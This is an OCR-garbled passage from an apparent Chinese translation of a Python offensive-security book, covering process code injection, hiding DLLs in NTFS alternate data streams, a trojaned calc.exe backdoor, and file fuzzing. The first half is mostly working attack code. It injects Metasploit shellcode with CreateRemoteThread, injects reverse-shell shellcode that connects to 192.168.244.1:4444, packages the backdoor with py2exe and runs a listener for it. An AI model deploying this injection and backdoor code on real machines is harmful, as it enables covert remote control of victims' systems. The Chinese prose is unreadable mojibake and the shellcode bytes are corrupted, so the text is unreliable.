"\xe7\x63\x6d\x64\x2e\x65\x 78\x65\x20\x 2f\x63\x20\x 74\x 6 1\x 73 \x6b" \
"x6b\x69\x6c\x6¢\x20\x2\x 50\x49\x44\x20\x4 1\x4 1\x41\x41\x00"
padding =4 - (Ien( pid_to_kill ))
replace_value = pid to_kill + ( "\x00" * padding )
replace_string="\x41" * 4
shellcode = shellcode.replace( replace_string, replace value )
code size = len(shellcode)
# Get a handle to the process we are injecting into.
h_process = kernel32.0penProcess( PROCESS ALL ACCESS, False, int(pid) )
if not h_process:
print "[*] Couldn't acquire a handle to PID: %s" % pid

code_injector.py

import sys

from ctypes import *

# We set the EXECUTE access mask so that our shellcode will

# execute in the memory block we have allocated

PAGE EXECUTE READWRITE = 0x00000040

PROCESS ALL _ACCESS = ( 0x000F0000 | 0x00100000 | OxFFF )

VIRTUAL MEM = (0x1000 | 0x2000 )

kernel32 = windll.kernel32

pid = int(sys.argv[1])

pid to kill = sys.argv[2]

if not sys.argv[1] or not sys.argv[2]:

print "Code Injector: ./code _injector.py <PID to inject> <PID to Kil
sys.exit(0)

#/* win32_exec - EXITFUNC=thread CMD=cmd.exe /c taskkill /PID AAAA

#Size=159 Encoder=None http://metasploit.com */

shellcode =\



"xfc\xe8\x44\x00\x 00\x 00\x 8b\x45\x3 c\x 8b\x 7c\x 05\x 78\x0 1 \xef\x8b" \
"x4f\x 18\x8b\x5f\x20\x0 1\xeb\x49\x8b\x 34\x8b\x 01\xee\x3 1\xc0\x99" \
"xac\x84\xc0\x74\x07\xc 1\xca\x0d\x01\xc2\xeb\x f4\x 3b\x 54\x24\x 04" \
"\x75\xe5\x8b\x 51\x24\x01\xeb\x 66\x8b\x0c\x4b\x8b\x5f\x1c\x0 1\xeb" \
"\x8b\x 1c\x8b\x01\xeb\x89\x 5c\x24\x 04\xc3\x31\xc0\x 64\x 8b\x40\x30" \
"x85\xc0\x 78\x 0c\x 8b\x40\x 0c\x 8b\x 70\x 1 c\xad\x 8b\x 68 \x 08\xeb\x 09" \
"\x8b\x80\xb0\x00\x00\x00\x 8b\x 68\x 3c\x SA\X31\x {6 \x 60\x 5 6\x8N\x 8" \
"\x83\xc0\x 7b\x 50\x6 8 \xef\x ce\xe0\x60\x68\x98\x fe\x8a\x 0e\x S7\x ff" \
"xe7\x63\x6d\x64\x2e\x65\x 78\x65\x20\x 2 f\x63\x 20\x 74\x 6 1\x 73 \x6b" \
"\x6b\x69\x6c\x6¢\x20\x2\x 50\x49\x44\x20\x4 1\x4 1\x41\x41\x00"
padding =4 - (Ien( pid_to_kill ))
replace_value = pid _to_kill + ( "\x00" * padding )
replace_string= "\x41" * 4
shellcode = shellcode.replace( replace_string, replace value )
code_size = len(shellcode)
# Get a handle to the process we are injecting into.
h_process = kernel32.0penProcess( PROCESS ALL ACCESS, False, int(pid) )
if not h_process:

print "[*] Couldn't acquire a handle to PID: %s" % pid

sys.exit(0)
# Allocate some space for the shellcode
arg_address = kernel32.VirtualAllocEx(h_process, 0, code_size,
VIRTUAL MEM, PAGE EXECUTE READWRITE)
# Write out the shellcode
written = c¢_int(0)
kernel32.WriteProcessMemory(h_process, arg_address, shellcode,
code_size, byref(written))
# Now we create the remote thread and point its entry routine
# to be head of our shellcode
thread id = ¢_ulong(0)

if not kernel32.CreateRemoteThread(h_process,None,0,arg_address,None,

0,byref(thread id)):

print "[*] Failed to inject process-killing shellcode. Exiting."

sys.exit(0)
print "[*] Remote thread created with a thread ID of: 0x%08x" %

thread id.value

print "[*] Process %s should not be running anymore!" % pid_to kill

TR K0 A R HAR A, (HE I 2 A7 S A R I 75 1R o 55—, 36k shellcode
FCEATTAR 1111 PID 05 5 o o —AMEAR T T, 2 H] CreateRemoteThread (),
IpStartAddress 5[] 17 il shellcode FIHihl, 1M1 IpParameter ¥ & A NULL. [RAFRAIAN TG AL
MNEMZH, FATVUE QB & B AT shelledoe.

A H 2500 F



J/code_injector.py <PID to inject> <PID to kill>

BNGIENSH, RO I, Bk BIZRE ID. HARSERE 215, IRe
# cmd.exe YA T o

IRAEARSME T ] A3 — N EFE N AHAT shelledoe. ILAEAITH shell 7 T, B
PRI T T, RO AT AR A4, Lo 2 FORIEIRA T2 s Al ok, Bl
—ANRERIRE T, M H BRI EZ g, wt RESRIO FE U 1) AR -

WATRETE RS ? fe !

7.2 BRI

AELBRAIAE DB P E ), A S De R0 . APEAIE— AN G T TRT,
Beama h— R IEIMFEF (L calc.exe)o HEH ) HUT T calc.exe, FATHIGET]

4
EEIRAT RAEMFEHIBL . caclexe PUT G, RSTEPAT G T TS RIS, AT IR calc.exe
CZHTBRAIM G116 44 i cale.exe, BRI caclexe BRI 7). 24 cacl.exe $UAT )5
N, A shell FIRATGHLAS L, BERATEFEN kil 4069, RICATHIEIT R
¥

G2 RATHMEIE ANBE LS N calc.exe M9 ? AR ME, Rl DL, {HRZIEREFEN T AT
Fe vt — TR B BOR . Lhln, RAEIE SR, R R AR KRR, SR
Ja TR R, BUE IR EE, g bR R AROR, 7RSI ARIEIE R . ERAN I —
Bl HEFEA I 1) 2 B T o

BJRRATE SN WHTE Python JAIAS G 128 B — /N H 1 ) Windows FI AT SCAF, LA A
Al ffrfir () n# DLL . Rk 56H FH T H DLL K K .

721 BRI

AT G 112 DLL MBS, 4 T REWS B 224 i, 19 H SO R EF 1) 7 s B ok
TATREW AR RS, A (Lrp G 3T DLL) gk, Aid WE ARE Python
Hacer, 4819 RiAA—HFE T .

OS #t & T aF (20T, NTFS [RIFES2 4 1 1R 22 5o Bk i 452 77, A RIATTk H
alternate data streams (ADS). M Windows NT 3.1 JFUfA TiXIEAR, HIZE N T 3L
[f) %24t Apple heirarchical file system (HFS)JFATi# . ADS foi/Fhlifit Bi—AN30fF, et
DLL i fA 7 & I, SR B2 Egb R AT o i mlie Ko ) SO, (A2 BEE B B n 21 4E:
FIERERE b REH 19 201 AT

PR S, AR TR ZEANW . HEMR 2 24 T HAEA GRIR L
fii ADS, Jir AFH I 16 B 47l o A FRAT T

e AR ADS, R, REAE SO RIS S, B B B RATTAR e
RISCAT:



reverser.exe:vncdll.dll

FEIZXA -1~ AR vedll. dll BN 2 reverser.exe 7o T [ 5 /> & 5L A file_hider.py
3 B OO AR 5 5 N Fi € SCAFIR ADS.

#file hider.py

import sys

# Read in the DLL

fd = open( sys.argv[1], "rb" )

dll_contents = fd.read()

fd.close()

print "[*] Filesize: %d" % len( dll_contents )
# Now write it out to the ADS

fd = open( "%s:%s" % ( sys.argv[2], sys.argv[1l] ), "wb" )
fd.write( dll_contents )

fd.close()

MR, 2B AME NS B0 S BATRE ) DLL, 28 280t /2 H b 3Crk. XA
THBATAE AR TR, WS AR, R AT SR H AR SRS A e il

722 HEJEI]

LR TRATR AT E 10 AT, B S 8 SR € 4 A IR AT T o 2B AR AT
FE W, AR AR G148 P44 cale.exe T K KK cale.exe B ah 3] T 5 (M )5
Y P IRHAT AR, s AL BT TIRATHE T, J5 T 1R i 3 e () A6,
BB EIE TR P S B AZUETACE P AR T, KIHIES PR TEESS . N i A
M T% =% my_debugger defines.py, {5 7 OVEUERE T 75 2L 00 4 A0 RS £

#backdoor.py

# This library is from Chapter 3 and contains all

# the necessary defines for process creation

import sys

from ctypes import *

from my debugger defines import *

kernel32 = windll.kernel32

PAGE EXECUTE READWRITE = 0x00000040
PROCESS ALL ACCESS = ( 0x000F0000 | 0x00100000 | OXFFF )
VIRTUAL MEM = (0x1000 | 0x2000 )
# This is the original executable



path _to_exe ="C:\\calc.exe"

startupinfo = STARTUPINFO()
process_information = PROCESS_INFORMATION()
creation_flags =CREATE NEW_CONSOLE
startupinfo.dwFlags = 0x1

startupinfo.wShowWindow = 0x0
startupinfo.cb = sizeof(startupinfo)
# First things first, fire up that second process
# and store its PID so that we can do our injection
kernel32.CreateProcessA(path_to exe,
None,
None,
None,
None,
creation_flags,
None,
None,
byref(startupinfo),
byref(process_information))
pid = process_information.dwProcessld

—FEARTET L, BRI . B FOREFRA I AN PRI I B S 119 o BeAT TR N SRR
g M FRACHL T AR DLL YA PRI A5 IL:  parameter Ar 38 4 1, data 28 47 DLL #§4%,
AEHEAT DLL A, BRIATSOL K parameter 5 % 0, SUEACHDE AN . BR S K 7E 5 1 o

#backdoor.py

def inject( pid, data, parameter =0 ):
# Get a handle to the process we are injecting into.
h_process = kernel32.0penProcess( PROCESS ALL ACCESS, False, int(pid) )
if not h_process:
print "[*] Couldn't acquire a handle to PID: %s" % pid
sys.exit(0)
arg_address = kernel32.VirtualAllocEx(h_process, 0, len(data),
VIRTUAL MEM, PAGE EXECUTE READWRITE)
written = ¢_int(0)
kernel32. WriteProcessMemory(h_process, arg_address, data,
len(data), byref(written))
thread id = ¢_ulong(0)
if not parameter:
start_address = arg_address
else:
h_kernel32 = kernel32.GetModuleHandleA("kernel32.d11")



start_address = kernel32.GetProcAddress(h _kernel32,"LoadLibra
parameter = arg_address
if not kernel32.CreateRemoteThread(h_process,None,
0,start_address,parameter,0,byref(thread id)):
print "[*] Failed to inject the DLL. Exiting."
sys.exit(0)
return True

WMAEBRATA T e SR A N ARIS o 2 I P BEAN R Y shellcode v\ B 1
cacl.exe EFE T, —) shellcode S ## shell 25FkAT, J— AN RAEJETTERE.

#backdoor.py

# Now we have to climb out of the process we are in

# and code inject our new process to kill ourselves

#/* win32_reverse - EXITFUNC=thread LHOST=192.168.244.1 LPORT=4444
Size=287 Encoder=None http://metasploit.com */

connect_back shellcode =

"xfc\x 6a\xeb\x4d\xe8\x fO\x fAxfA\X f\x60\x8b\x 6¢\x24\x24\x 8b\x45" \
"x3c\x8b\x 7c\x05\x 78\x 01 \xef\x 8b\x4\x 1 8\x 8b\x 5 f\x20\x0 1\xeb\x49" \
"\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x 74\x07\xc1\xca\x0d" \
"x01\xc2\xeb\x f4\x 3b\x54\x24\x28\x 75\xe5\x8b\x 5 f\x24\x0 1\xeb\x66" \
"\x8b\x0c\x4b\x 8b\x5f\x 1c\x01\xeb\x03\x2c\x8b\x89\x6¢c\x24\x 1c\x 61" \
"xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x 0c\x 8b\x 70\x 1 c\xad\x 8b\x40" \
"x08\x5e\x68\x8e\x4e\x0e\xec\x SO\x fi\xd6\x66\x 53\x 66\x 68\x 33\x32" \
"x68\x77\x73\x32\x5f\x 54\x f\x d0\x68\xcb\xed\x fc\x 3b\x S0\x f\xd 6" \
"x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xf\xd0\x 68\xd9\x09" \
"xf5\xad\x 57\x fi\xd6\x53\x53\x 53\x 53 \x43\x53\x43\x53\x ff\x d0\x 68" \
"xcO\xa8\xfAx01\x66\x68\x 1 1\x5c\x66\x53\x89\xe 1\x95\x68\xec\x 9" \
"\xaa\x60\x5 7\xff\xd6\x6a\x 10\x5 1\x55\xfF\xd0\x 66\x6a\x 64\x66\x68" \
"x63\x6d\x6a\x 50\x59\x29M\xcc\x89\xe7\x 6a\x44\x 89\xe2\x 3 1\xcO\x 3" \
"\xaa\x95\x89\x fd\x fe\x42\x2d\x fe\x42\x2c\x8d\x 7a\x3 8\xab\xab\xab" \
"x68\x 72\xfe\xb3\x 16\xff\x 75\x 28 \x fA\xd6\xSb\x 5 7\x 52\ x S 1\x S 1\x51" \
"x6a\x01\x51\x51\x55\x5 1\xf\xd0\x 68 \xad\xd9\x 05\xce\x 53\x f\xd 6" \

"x6a\x f\xfix3 7\x fH\xd0\x68\xe7\x79\xc6\x 7 9\xffix 75\x 04 \x ff\xd 6" \

"x fA\x7 7\xfc\xffixd0O\x 68 \xef\xce\xe0\x 60\x 53 \x fiixd6\x ff\xd0"

inject( pid, connect_back shellcode )

#/* win32_exec - EXITFUNC=thread CMD=cmd.exe /c taskkill /PID AAAA
#Size=159 Encoder=None http://metasploit.com */

our_pid = str( kernel32.GetCurrentProcessld() )

process_Kkiller shellcode =\

"xfc\xe8\x44\x00\x 00\x 00\x 8b\x45\x3 c\x8b\x 7¢\x 05\x 78\x0 1 \xef\x8b" \



"x4f\x 18\x8b\x5A\x20\x01\xeb\x49\x8b\x 34\x8b\x 01 \xee\x3 1\xc0\x99" \
"xac\x84\xc0\x74\x07\xc1\xca\x0d\x 01\xc2\xeb\x f4\x 3b\x 54\x24\x 04" \
"x75\xe5\x8b\x 51\x24\x0 1\xeb\x 66\x8b\x0c\x4b\x8b\x 5 fix 1c\x0 1\xeb" \
"\x8b\x 1c\x8b\x01\xeb\x89\x 5c\x24\x 04\xc3\x31\xc0\x 64\x 8b\x40\x30" \
"x85\xc0\x 78\x 0c\x 8b\x40\x 0c\x 8b\x 70\x 1 c\xad\x 8b\x 68 \x 08\xeb\x 09" \
"\x8b\x80\xb0\x00\x00\x00\x 8b\x68\x 3c\x SA\X31\x f6\x 60\x 5 6\x8N\x 8" \
"x83\xc0\x 7b\x50\x6 8 \xef\xce\xe0\x60\x68\x9 8\x fe\x8a\x 0e\x S7\x ff" \
"xe7\x63\x6d\x64\x2e\x65\x 78\x65\x20\x 2 f\x63\x 20\x 74\x 6 1\x 73 \x6b" \
"x6b\x69\x6c\x6¢\x20\x21\x 50\x49\x44\x20\x4 1\x4 1\x41\x41\x00"
padding =4 - (len( our pid))

replace_value = our_pid + ( "\x00" * padding )

replace_string="\x41" * 4

process_Kkiller shellcode =

process_Kkiller shellcode.replace( replace_string, replace value )

# Pop the process killing shellcode in

inject( our_pid, process_killer shellcode )

All right! Ji5 [ TRE BT 2% (RGN caclexe 3 #41 F1 5 AE L 1H) K PID, ¥ shellcode
ENBIERE L, SRJFW S A shellcode AR T Wro XG55 TIRZAR WA &
REEH bR RGP A NIBAT T CHSRIREEDS MO8 IR & SO SCE, BERSEE 3D,
ATk B W U LB AOF B B2 POk e 3%, MRERER (0, (BT RE 1, #8T
MR AR EAEX AR A T — 5, ARG LS4 T Python, ARAT14 4 A Linux
We ? i HEXAEA TR A B PRIX AL T, #a L IR, AT py2exe, ‘BIREIE py U
¥Rk exe A

7.2.3 py2exe

py2exe s — AR J# 1) Python FE, BEZHF Python JHIAN S 15 i 5¢ 4> 7. 1¥] Windows
PATFE . 0A3HAE P R AE# 3L T Windows “F 4, Linux -4 N & Python. pylexe %
FOCUT, PR RERE AR A TP AR T . AERXZ RS R B A,

#setup.py

# Backdoor builder

from distutils.core import setup

import py2exe

setup(console=['backdoor.py'],
options = {'py2exe': {'bundle files":1}},
zipfile = None,
)

IRUFAR ST o A7 AE B FAEN setup BRI 55—, console JEFATE 4 %) Python



WA . options M1 zipfile Z4 W & N 5 24T G111 Python DLL AT A7 7l AR 1 . XAk
IR JE T Tk BEAEAT A Y55 2225 python ) windlws 2288 FAFH T . #fi{& my debugger defines.py,
backdoor.py, Fl setup.py CHAEAH R H T E@AT ALl T4, iR,

python setup.py py2exe

TEgmEESE G, fEH X N BRI Z WA Hak, dist Fl build. 7E dist SCHEJE R A LA F
backdoor.exe. HATH N
calc.exe ¥ NI B Hbr 240, 6 HARRLM calc.exe M C:\WINDOWS\system32\ #% U131 J [
Hx(tbln C:\ folder). ¥ FRATI cale.exe 2] C:\WINDOWS\system32\ Hx T IAEFRAT]
M AN shell 210, HISKFN SRR shell
A, RikarS, BlE R,

#backdoor_shell.py

import socket

import sys
host="192.168.244.1"
port = 4444

server = socket.socket( socket. AF_INET, socket. SOCK_STREAM )
server.bind( ( host, port ) )

server.listen( 5)

print "[*] Server bound to %s:%d" % ( host , port )
backdoor_shell.py

import socket

import sys
host="192.168.244.1"
port = 4444

server = socket.socket( socket. AF_INET, socket. SOCK_STREAM )
server.bind( ( host, port ) )

server.listen( 5)

print "[*] Server bound to %s:%d" % ( host , port )

LR 4 1) socket IRS5 A%, DU HEESZ AR, ARG A0 PE—SEBLAl s T
fEo RATLME host A port S H AR ERISHL (il 53, 80 ). Jeiafr/ikss4s it 4T i 11
W, SRIGAEZFEN AR ARNIEIT) LIZTT caclexe. RAFH R H T H 2 E 0, R
{RI¥] Python shell A4s#s th SR —/MER:, TG . b TF W recv 1538, 15T
CTRL-C ##, RGP R RN 2 o IXBHEH REMUR 2 3918 7, b fliH Windows shell
WEM 4, N dir, od , type. BRI A R AR RES AL RR o BRI T
NEBEET T RGOy e, ihe AR, b Rek il 50 2 iR F 3R, SRR,
AT H bRt 28 IR, R HEIR. A Python HUUFAbsl &, Puid, e, w&EA.

YRR TEIXE, RE4 44 T DLL ARSI AR EES AR . E45 G E
MAREEE W) TR, RS RIMAE/EXSe R B BRS04 T RSB E,
BAMTE I U2 S W T B R )P . ] Python, H Python-based fuzzer, H A KIIFFIE T H .
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FUZZING

Fuzzing —H UURERANAATEER, FAMEHERIER R
B FERU KR 8K, Fuzzing 32 F HREF K
BB L RTE RS LG KR X—F, BB TR
AMAFZRELK] fuzzer I bug, 2 JERATEE B O3 FELI—

™ file fuzzer. T, 21E41 1042 Sulley fuzzing HEALRI 1T+ AN % Windows

XA fuzzer.

fuzzers A 73 2 K. generation (7742)  F mutation (857 ). Generation fuzzers
SRR, ARG RIZEE) HARFEY, mutation fuzzers JEAGIEEEME, 1M ASFE T FR )
B, RIGBSEEE. B0 F, SIRANTE fuzz —4 web R4 FH %, generation fuzzer
SR EARTEN Hitp 15 KRG KIEZ web JI4-2%, 1 mutation fuzzer 243K Http 15K,
TEIE KA 25 web []RS5A i BB efils

N TR IRATEI R B — A=) fuzzer, FATIFEZE XA FIZEALL bug M— AN L1
TH#, I BEF fuzzer WML TATT. QR LEEVEAN ) TR AT 2R 0, W] LAE T i)+

8.1Bug 1433

4 hacker B30 7] TR AT P el (RO, 1S B0V 4R B B2 THIRE 7 $RAT 1Y bug.
Fuzzer gyt 17— Fh B 2L 1007 A B FATHR bug, ARIFIRIG REIIIEHRIRL TR,
I HAGHOEE P U5 1) (5 6L, A8 H AR R AR R G IBAT RRERE , 3 HUs AT A (R 19 2%
PP AERX I PIATRVE R MALIS AT HIBERE,  LAR M 1045 B

811 ZEMHXuH

SR P IX 3 HE A d S LKA o BITAT (K L (KD A A B R A, A AR BEACAS £ 2 i e
T E AL HORT e A G o DU YRR, SRR A

M52, Serpli e T, 8 2 B E — DN FE S TR, BTl
FTRAF AR o 1S B ar DA IE (0 BRI o AR — AN KA, HBedRe— e



7K, TATH ALK S IS K, HER e, AR 1, AL i,
—UIEF WAl WERBATSAPTINE 1K, IR 2 i 1 2AR L, Bk, IR
XHERAE T T RAERPE B —RE, WERKZ K G, ISl (buffer) A,
At 23 BRI R (memory)  Fo 24— NG BERS 17 1) 2 A% O 2l X A A7 X
B, MM RUCHD AT BR, 2D B RS B BE MO K . A7 P 2
GEh DU e AR AR THERT . PUR R ) R IANTR], (™ AR SR AR R Boalid i 2%
PERIARS AT o

Het RS ROl I A ke, ORISR AT IR Pl oo eR B HR B A2
HIE, AR, B G AR Ik, A DSBS A HATAU o BRI HY I
M5, U —ADVT RG] XA T RE AL fuzzing IR H 5 (E K ERER 2 & AT

I FHRE P AEABAT IR I 2 B AR 1R FRE SR A7 X, XU gl 2 o e — B — B
FE—I0, ST CEE o 2 0y R M 7 i 21 O FR S TR HE LA 10 30 A SE PR ISk, S
AU T o BAE BGE  REE I a H CR AR AT  AE HE L AR, R BdRET
LA, VLA R M o R AR XMEOT B ERER 2, OY G M AF R, — 5
AR BV s ], BEAE BIRE P 45 K RS I 8] A AT AT REVS ) 21, 28R thAT n]
RE—HE AT o 7 fuzzing HIIHE BATHLAA I — AR R —ADV7 R G142 7 A2 50E, &4
M o BAERED T

MICROSOFT GLOBAL FLAGS

RINEEASE L AR TT K (or exploit writer) T[] 1 111, Gflags(Global flags 4> JEAn
B RIS WO S, RefS L RAE R R A RS, dsk, IR AR AR 2000,
xp A1 2003 _EABHER A T IX AR

TX TG A S5 A7 R () 0 77 A T HE DO R o 4 PRATTAE AN ERE B3 T FFIZAS e 20 1) fze
BT 2 2 B N AF AR, B G A AAI IS FRE I . AN IES N BRI g, &
RS 0 M R AR R B L 207 A — AN i, X R AS s oef Ae AR R IR 2
TXFEAE N A 2 7 HEAH DG bug IS BAT T3 8 7 (50 1) A 2005 L AR

AT BE 6 M H gflags.exe K 4w 5 Gflags #r & # B & A1 BR BF ME &
http://www.microsoft.com/downloads/details.aspx?Familyld=49AE8576-9BB9-4126-9761-BA80
11FABF38&displaylang=en.JX M J& Microsoft "He 2 "$E AL, " B0 " 2236

Immunity 324t 7 —4> Gflags 2, I HX4 & Fl PyCommand 5476 T —itd . BHZHIME B
Vi in) http://debugger.immunityinc.com/.

TGS fuzzing Ji t HERFET, A1 RS TP KE M EdE, AR5 IRER R,
FHAH T TAUEANEHR AT, ARG # E A G SIS dE KK, my god!
PN KA B A W N HFE PRI, Integer Overflows 4 H o

8.1.2 Integer Overflows



B R AR AT BRI, AR AR B (R R AR AR S RO
exploit WA AIX AR, — MR SRR, h 2 DA, ORI E N -32767 2
32767 HEATN A7 — A HEEA T 5 AN R/ Bk, A8 i i
KT o AR IR KR, ARBEER 2 BEh R R hr 22 ORI B35 WIAHRK, I &K
2B MA e N m kA TS — B ]

MOV EAX, [ESP + 0x8]
LEA EDI, [EAX + 0x24]
PUSH EDI

CALL msvcert.malloc

S AR A AR PN I E i [esprOx8ME 4T EAX, 3 45184, K EAX Ji_L 0x24 XA Hb
HEAFAETE EDL TP o 25 FRAT PRI AN M — 14 2 B0 (R 1) A A7 R/ AR N R 8L malloce — V)&
ERAARIE R, BRI ? (Rt TP i & — a5 345, mHAEE K, JLP#E
I TH SHEEN R  32767), RGfkihish EAX, EAX ML 0x24, 850k, ik
TR AR NME. HAGR 81, HBHEX VWAL, BoeEd LS E0eR
TIRERSFE I, FRAVL & BeE BN ER KIW{E OxFFFFFFFS.,

Stack Parameter => OxFFFFFFF5

Arithmetic Operation => OxFFFFFFF5 + 0x24

Arithmetic Result => 0x100000019 (larger than 32 bits)
Processor Truncates => 0x00000019

Listing 8-1:/EF% ] T R #E B0 AT

el —GIA, malloc K H HIE 0x19 A7 5 R/AMAZS[E], IXBRAAFLERE A 5 2
M2 MR Z o IR PP R — KR Bt 5 N IR S, Z2b s A 2 T o £ fuzzing
(RO, BATTAF B S KA S IMEL PN T TN T, IARPA T3 - 42 T kot 2 Beidkadt—

A A AR A R .
F T EFRATRIE R R —F 7 — M W, 4% X457 B WA Format String Attacks

8.1.3 Format String Attacks

% A A7 e By, WA S SC, Tk 2 DR B v 7 R R A N AT A R AL e
o AFH AU, A0 C ¥ W printf, ERATEEF printf (155

int printf( const char * format, ... );

B ANBHGE A RS AL AT R, BATRT AN 25, Ron Bl ke
DN & VR S



int test = 10000;

printf("We have written %d lines of code so far.", test);
Output:

We have written 10000 lines of code so far.

%d F& AU AT K AR E AR T4 € (K i RS X (R test DARC (178 3
H)o WER—MREFP RIAVNLIEE T Of JYEAE, ST .

char* test ="%x";
printf(test);
Output:
5a88c3188

XFFRA L ARAR . FAME S T — MU F74T printf K&, (HI2 A Lk
BHTEI AR . printf 0T BAUEBL EMSE, I BRI N — NS H0e 24T
IS4, RIS R =2 SR I — AN s . 7EIX AN 1 /2 0x5a88¢3188, /& AF
ke B, A e RS — MR W AEIAREE . AT MR RTHIRE I, — N2 %s, 7
—AE Y%n.  Ys RS REAT IR R, AR YR AA ORI, HEER]—> NULL
FAE, MREFAFFB LT o 0T H— R BRd S 1) £ 5 SRy s bk s #5+  f
o 8RR AT LA EK crash B2 . %n $R7-7F (HE——A) RFIMNAES ANALE, 1A
PAERG A AT o X RVF, Blid 8 an R AR R [ i, B0 oS — AN DL R I R 2L
R, DRI AT . 75 fuzzing PTG, FRATT B MR H 48] rhoin N 3% 285 5
R ULEHART, SRIGAEIRZE — NS DA T 45 o A 2 pR 4

MAEATCE XA B bug KA T AN KM T AE, A& R IF 46 6115 25— fuzzer
T o 8 FRIEATE R AL —A file fuzzer, ‘& 56HF IEH AR 2 G5 KGR AL B
IX IR GRS AT A (1) 2 1 A PyDbg. Come on!!!

8.2 File Fuzzer

File format vulnerabilitie SCH# =8 A I ] V28 0 190 s A 17 7 v B imiAT 7 =8, T
PV G 1) 5l A R SO AR 2 A I HS BRI TR » TG T8 T 1R H b A R BRI ARG A S
PABT s, BAIHA BN TR 4, B2l A o . RINE 2R, 3
AT fuzzer REERG I FFE R G R, ARG A3l IS tH o2& 75 2 nl R (R o d5 5 302
B emailing (1) Z6g, ERATA BT FJ7 BIIK S R, FRA AR AN LA BTG
e !

MAETHREANS, 562, MG ad—ANRHELL, H T SRSk +e.

#file_fuzzer.py

from pydbg import *

from pydbg.defines import *
import utils

import random



import sys

import struct

import threading

import os

import shutil

import time

import getopt

class file fuzzer:

def init_ (self, exe path, ext, notify):

self.exe_path =exe_path
self.ext = ext

self.notify crash = notify

self.orig_file = None
self.mutated file = =None
self.iteration =0
self.exe_path =exe_path
self.orig_file = None
self.mutated file  =None
self.iteration =0
self.crash = None
self.send notify = False
self.pid = None
self.in_accessv_handler = False
self.dbg = None
self.running = False
self.ready = False

# Optional

self.smtpserver = 'mail.nostarch.com'

self.recipients = ['jms@bughunter.ca', ]

self.sender ='yms@bughunter.ca'

self.test cases = [ "%s%n%s%n%s%n", "\xff", "\x00", "A" ]
def file picker( self ):

file list = os.listdir("examples/")

list_length = len(file_list)

file = file_list[random.randint(0, list_length-1)]

shutil.copy("examples\\%s" % file,"test.%s" % self.ext)

return file

HHEUGE ST B AR, T BRER I SCAPROREA K Sl AL TR
A file_picker B BCHE LR Python BRHLFIH FI s Y T4 SCPF, SRR BBLIIN
AT

B FORTRATE LB THR T A Ak



HARREF, BRERH S S, SR M e SR 2k HAsRE s . 55—, K HARRE 3 et
—ANAZAE, JF Hoedk Aoe WU Bl A BAES . 28 00, QISR T ANERRE, H T IR
PRI LR, IF B e B EEIIN [) 2 JE R SE R Ze R . 5 A BN — B email S
UKV R

#file_fuzzer.py

def fuzz( self ):
while 1:

if not self.running: # Q)

# We first snag a file for mutation
self.test file = self.file picker()
self.mutate file()

# Start up the debugger thread pydbg_thread =
threading. Thread(target=self.start_debugger)
pydbg_thread.setDaemon(0)
pydbg_thread.start()
while self.pid == None:

time.sleep(1)
# Start up the monitoring thread
monitor_thread = threading. Thread
(target=self.monitor _debugger)
monitor_thread.setDaemon(0)
monitor_thread.start()

self.iteration += 1
else:
time.sleep(1)
# Our primary debugger thread that the application
# runs under
def start_debugger(self):
print "[*] Starting debugger for iteration: %d" % self.iteration
self.running = True
self.dbg = pydbg()
self.dbg.set callback(EXCEPTION ACCESS VIOLATION,self.check accessv)
pid = self.dbg.load(self.exe path,"test.%s" % self.ext)
self.pid = self.dbg.pid
self.dbg.run()
# Our access violation handler that traps the crash
# information and stores it
def check accessv(self,dbg):
if dbg.dbg.u.Exception.dwFirstChance:



return DBG_CONTINUE
print "[*] Woot! Handling an access violation!"
self.in_accessv_handler = True
crash bin = utils.crash_binning.crash_binning()
crash_bin.record_crash(dbg)
self.crash = crash_bin.crash_synopsis()
# Write out the crash informations
crash_fd = open("crashes\\crash-%d" % self.iteration,"w")
crash_fd.write(self.crash)
# Now back up the files
shutil.copy("test.%s" % self.ext,"crashes\\%d.%s" %
(self.iteration,self.ext))
shutil.copy("examples\\%s" % self.test_file,"crashes\\%d _orig.%s" %
(self.iteration,self.ext))
self.dbg.terminate process()
self.in_accessv_handler = False
self.running = False
return DBG_EXCEPTION NOT HANDLED
# This is our monitoring function that allows the application
# to run for a few seconds and then it terminates it
def monitor _debugger(self):
counter =0
print "[*] Monitor thread for pid: %d waiting." % self.pid,
while counter < 3:
time.sleep(1)
print counter,
counter += 1
if self.in_accessv_handler != True:
time.sleep(1)
self.dbg.terminate _process()
self.pid = None
self.running = False
else:
print "[*] The access violation handler is doing
its business. Waiting."
while self.running:
time.sleep(1)
# Our emailing routine to ship out crash information
def notify(self):
crash_message = "From:%s\r\n\r\nTo:\r\n\r\nIteration:
%d\n\nOutput:\n\n %s" %
(self.sender, self.iteration, self.crash)
session = smtplib.SMTP(smtpserver)
session.sendmail(sender, recipients, crash _message)



session.quit()
return

TATELA TA A TR TR, BERURII SE IR fuzz 1, ARBRATI 05 E %R
Bt 525, i selfrunning O/ 257 KA AN BEREAE ATV ) 39 1 Ak
MR BRI U . 58, IRATHERE RS RSCME, A NZIE R, X s
FER RS o

— BRI SE R, b, BATHEIE AR, B3 HARRER, PR LR RD
WP RSO IR ARA 7 AN AT SR UE N . R RIS, St HARERE R B
R ARSI I, R EDET PID, L, QU AR, #fRdE— BEFEFLUR
ASCHIKMIREY o HMLZRE QU s UG, BA TSI AR, RGN BRI, S5k —
R fuzz (S8R ZREE T —IK fuzz. BUAELEFRATHEIN—AMa] 510228 o 2L

#file_fuzzer.py

def mutate_file( self ):
# Pull the contents of the file into a buffer
fd = open("test.%s" % self.ext, "rb")
stream = fd.read()
fd.close()
# The fuzzing meat and potatoes, really simple
# Take a random test case and apply it to a random position
# in the file
test_case = self.test_cases[random.randint(0,len(self.test_cases)-1)]
stream_length = len(stream)
rand offset  =random.randint(0, stream length - 1)
rand len = random.randint(1, 1000)
# Now take the test case and repeat it
test _case = test_case * rand len
# Apply it to the buffer, we are just
# splicing in our fuzz data
fuzz_file = stream[0:rand_offset]
fuzz_file += str(test_case)
fuzz_file += stream[rand_offset:]
# Write out the file
fd = open("test.%s" % self.ext, "wb")
fd.write( fuzz_file )
fd.close()
return

R AN IR AT R AT A IR 51 o B B RSB —A 5 R TR Bt RT3
B A SO RS A 2 IR fuzz B AR . FIAZAS A BEA B AR BT I fuzz Hicdis



B Jr oK IR Py AESETINA fuzz Bl . —VITEUn, ST AR R SO G TR S
e BB PO HRERIT G RN T o BUELEIRA TSI ST A PR I3

#file_fuzzer.py

def print_usage():
print "[*]"
